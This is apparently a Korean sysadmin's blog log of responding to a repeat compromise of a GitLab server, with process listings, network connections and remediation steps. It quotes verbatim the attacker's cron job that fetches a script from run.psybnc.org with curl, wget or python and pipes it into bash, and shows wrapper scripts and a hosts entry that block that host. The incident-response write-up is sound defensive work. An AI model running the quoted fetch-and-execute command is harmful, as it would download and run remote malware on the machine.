(포스팅 2022.07.14)
- 관련 리스트
gitlab 서버 관리 일지 - 5
gitlab 서버 관리 일지 - 4
gitlab 서버 관리 일지 - 3
gitlab 서버 관리 일지 - 2
gitlab 서버 관리 일지 - 1
- 목차
2022.07.12 Gitlab 해킹됨
2022.07.13 Gitlab 502 에러 다시 발생
휴가를 다녀오고 gitalb 서버를 점검하니, 다시 502 에러 발생하였습니다.
프로세스 점검. mysql 이 많은게 수상하긴 하지만 별 이상은 없음.
top - 08:45:32 up 38 days, 21:50, 1 user, load average: 4.64, 3.79, 3.09
Tasks: 5178 total, 2 running, 5113 sleeping, 0 stopped, 0 zombie
%Cpu(s): 13.6 us, 8.8 sy, 0.0 ni, 76.4 id, 0.0 wa, 0.0 hi, 1.1 si, 0.0 st
KiB Mem : 32811932 total, 1590868 free, 27670476 used, 3550588 buff/cache
KiB Swap: 2097148 total, 2097148 free, 0 used. 4616684 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
757 systemd+ 20 0 74028 8160 4076 S 12.5 0.0 440:51.90 systemd-resolve
16560 dysys 20 0 51088 9632 3412 R 3.4 0.0 0:02.13 top
26722 git 20 0 1197868 543504 21672 S 1.3 1.7 61:35.17 bundle
14796 git 20 0 37868 7812 3216 S 0.9 0.0 0:37.83 /usr/sbin/mysql
8 root 20 0 0 0 0 I 0.6 0.0 61:43.60 rcu_sched
52 root 20 0 0 0 0 S 0.6 0.0 24:16.38 ksoftirqd/7
1161 gitlab-+ 20 0 44496 7636 3000 S 0.6 0.0 462:28.48 redis-server
1695 git 20 0 37896 8340 3724 S 0.6 0.0 0:11.60 /usr/sbin/mysql
2722 git 20 0 37896 7804 3208 S 0.6 0.0 6:58.06 /usr/sbin/mysql
2746 git 20 0 37868 7776 3180 S 0.6 0.0 8:53.81 /usr/sbin/mysql
2944 git 20 0 37896 8192 3584 S 0.6 0.0 0:18.53 /usr/sbin/mysql
2961 git 20 0 37872 8360 3748 S 0.6 0.0 0:46.13 /usr/sbin/mysql
3665 git 20 0 37872 7836 3240 S 0.6 0.0 12:30.65 /usr/sbin/mysql
5422 git 20 0 37868 7828 3236 S 0.6 0.0 0:58.14 /usr/sbin/mysql
5471 git 20 0 37896 7744 3148 S 0.6 0.0 5:22.11 /usr/sbin/mysql
5528 git 20 0 37904 7836 3244 S 0.6 0.0 0:08.18 /usr/sbin/mysql
5725 git 20 0 37868 7892 3300 S 0.6 0.0 3:55.38 /usr/sbin/mysql
5891 git 20 0 37868 7752 3156 S 0.6 0.0 5:31.23 /usr/sbin/mysql
5905 git 20 0 37868 7848 3256 S 0.6 0.0 0:10.53 /usr/sbin/mysql
이전에 해커가 심어놓은 동작을 막기 위한 .qwerty 가 없어짐. 다시 생성함.
ㅁㅁㅁㅁㅁ:/tmp$ echo > .qwerty
ㅁㅁㅁㅁㅁ:/tmp$ sudo chmod a-rwx .qwerty
ㅁㅁㅁㅁㅁ:/tmp$ sudo chown root:root .qwerty
ㅁㅁㅁㅁㅁ:/tmp$ sudo lsattr .qwerty
--------------e--- .qwerty
ㅁㅁㅁㅁㅁ:/tmp$ ls -al
합계 80
drwxrwxrwt 14 root root 20480 7월 12 09:01 .
drwxr-xr-x 24 root root 4096 3월 28 10:56 ..
drwxrwxrwt 2 root root 4096 6월 3 10:55 .ICE-unix
drwxrwxrwt 2 root root 4096 6월 3 10:55 .Test-unix
-r--r--r-- 1 root root 11 6월 3 10:55 .X0-lock
drwxrwxrwt 2 root root 4096 6월 3 10:55 .X11-unix
drwxrwxrwt 2 root root 4096 6월 3 10:55 .XIM-unix
dr-xr-xr-x 2 git git 4096 7월 9 03:45 .cnf2
drwxrwxrwt 2 root root 4096 6월 3 10:55 .font-unix
---------- 1 root root 1 7월 12 09:01 .qwerty ****> 이거
drwx------ 2 git git 4096 7월 12 02:08 gitaly-ruby019230642
drwx------ 2 git git 4096 7월 12 08:58 prometheus-mmap20220712-28916-4p9gzw
drwx------ 3 root root 4096 6월 3 10:55 systemd-private-170a33dc8848454194c6b37378964827-ModemManager.service-OOIQXJ
drwx------ 3 root root 4096 6월 3 10:55 systemd-private-170a33dc8848454194c6b37378964827-colord.service-lREUvS
drwx------ 3 root root 4096 6월 3 10:55 systemd-private-170a33dc8848454194c6b37378964827-systemd-resolved.service-iygrJC
drwx------ 3 root root 4096 6월 3 10:55 systemd-private-170a33dc8848454194c6b37378964827-systemd-timesyncd.service-hWUamw
crontab 가 살아나 있음.
ㅁㅁㅁㅁㅁ:~$ sudo crontab -u git -l
*/3 * * * * (curl run.psybnc.org/ioi||wget -q -O- run.psybnc.org/ioi||python -c 'import urllib2 as fbi;print fbi.urlopen("run.psybnc.org/ioi").read()')| bash -sh
해커가 다시 작업한 것 같습니다.
일단 서버가 동작해야 함. reconfigure 로 다시 살림.
sudo gitlab-ctl reconfigure
.qwerty 를 사용한 방어가 동작하지 않는 상태.
프로세스들 다시 확인
Tasks: 5158 total, 4 running, 5093 sleeping, 0 stopped, 0 zombie
%Cpu(s): 84.9 us, 14.0 sy, 0.0 ni, 0.2 id, 0.0 wa, 0.0 hi, 0.9 si, 0.0 st
KiB Mem : 32811924 total, 1113336 free, 29733032 used, 1965556 buff/cache
KiB Swap: 2097148 total, 2097148 free, 0 used. 2549840 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
4059 git 20 0 2473540 2.316g 4416 S 628.6 7.4 5116:06 cnf2 ****> 이거
26598 dysys 20 0 51120 9640 3408 R 54.3 0.0 0:00.34 top
7100 git 20 0 490988 45536 10104 S 11.4 0.1 3:07.01 gitlab-exporter
712 systemd+ 20 0 71532 7044 5564 S 8.6 0.0 70:33.72 systemd-resolve
28 root 20 0 0 0 0 S 2.9 0.0 1:53.66 ksoftirqd/3
34 root 20 0 0 0 0 S 2.9 0.0 1:52.28 ksoftirqd/4
391 git 20 0 37888 7860 3264 S 2.9 0.0 0:04.77 /usr/sbin/mysql
1207 git 20 0 37904 7924 3336 S 2.9 0.0 0:02.59 /usr/sbin/mysql
3533 git 20 0 37868 7892 3296 S 2.9 0.0 0:04.99 /usr/sbin/mysql
5717 git 20 0 37868 7836 3240 S 2.9 0.0 0:04.15 /usr/sbin/mysql
9509 gitlab-+ 20 0 42448 7324 3120 S 2.9 0.0 4:23.68 redis-server
11678 git 20 0 37868 7828 3232 S 2.9 0.0 0:04.89 /usr/sbin/mysql
15373 git 20 0 37868 7788 3192 S 2.9 0.0 0:04.60 /usr/sbin/mysql
15747 git 20 0 37868 8316 3716 S 2.9 0.0 0:05.13 /usr/sbin/mysql
cnf2 가 수상한데, 인터넷 검색해도 별다른 내용이 없음.
네트워크 확인해보면, 네덜란드로 열린 포트가 있음
ㅁㅁㅁㅁㅁ:~$ netstat -at | grep ESTA
....
tcp 0 0 dysys-git:59024 vmi713866.contabos:ircd ESTABLISHED
tcp 0 0 dysys-git:37584 193.177.120.34.bc:https ESTABLISHED ****> 네덜란드
tcp 0 0 localhost:9236 localhost:38586 ESTABLISHED
tcp 0 74 dysys-git:37700 vmi713866.contabos:ircd ESTABLISHED
3분마다 작동하는 crontab 무력화가 급함
ㅁㅁㅁㅁㅁ:~$ sudo -u git crontab -l
*/3 * * * * (curl run.psybnc.org/ioi||wget -q -O- run.psybnc.org/ioi||python -c 'import urllib2 as fbi;print fbi.urlopen("run.psybnc.org/ioi").read()')| bash -sh
curl 명령과 wget 명령에서 필터링하기로 함.
ㅁㅁㅁㅁㅁ:~$ cat /usr/bin/curl
#!/bin/bash
if [[ "$2" =~ "89.44.9.246" ]]
then
exit
fi
if [[ "$1" =~ "psybnc" ]] || [[ "$2" =~ "psybnc" ]]
then
exit
fi
curl_220527 $@
ㅁㅁㅁㅁㅁ:/usr/bin$ cat /usr/bin/wget
#!/bin/bash
if [[ "$2" =~ "89.44.9.246" ]]
then
exit
fi
if [[ "$1" =~ "psybnc" ]] || [[ "$2" =~ "psybnc" ]] || [[ "$3" =~ "psybnc" ]] || [[ "$4" =~ "psybnc" ]]
then
exit
fi
wget_220713 $@
crontab의 내용을 실행해보고 정상적으로 막혔는지 확인.
ㅁㅁㅁㅁㅁ:/usr/bin$ curl run.psybnc.org/ioi||wget -q -O- run.psybnc.org/ioi||python -c 'import urllib2 as fbi;print fbi.urlopen("run.psybnc.org/ioi").read()'
****> 동작안함 확인.
run.psybnc.org와 통신하지 못하도록 hosts 를 수정
ㅁㅁㅁㅁㅁ:/usr/bin$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 dysys-git
127.0.0.1 run.psybnc.org ****> localhost 로 추가하였다.
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ping 테스트하여 확인
ㅇ 기존 상태
ㅁㅁㅁㅁㅁ:/usr/bin$ ping run.psybnc.org
PING run.psybnc.org (87.229.73.75) 56(84) bytes of data.
64 bytes from ziza.hu (87.229.73.75): icmp_seq=1 ttl=49 time=212 ms ****> ziza.hu 는 아파치서버
64 bytes from ziza.hu (87.229.73.75): icmp_seq=2 ttl=49 time=222 ms
ㅇ hosts 변경 후
ㅁㅁㅁㅁㅁ:/usr/bin$ ping run.psybnc.org
PING run.psybnc.org (127.0.0.1) 56(84) bytes of data. ****> 외부로 도달하지 못함
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.014 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.010 ms
여기까지 진행하고 서버를 reconfigure 로 다시 살림.
sudo gitlab-ctl reconfigure
gitlab 서버관리 일지 - 5 (0) | 2022.07.27 |
---|---|
gitlab 서버 관리 일지 - 3 (0) | 2022.05.30 |
gitlab 서버 관리 일지 - 2 (0) | 2022.05.30 |
gitlab 서버 관리 일지 - 1 (0) | 2022.05.30 |
댓글 영역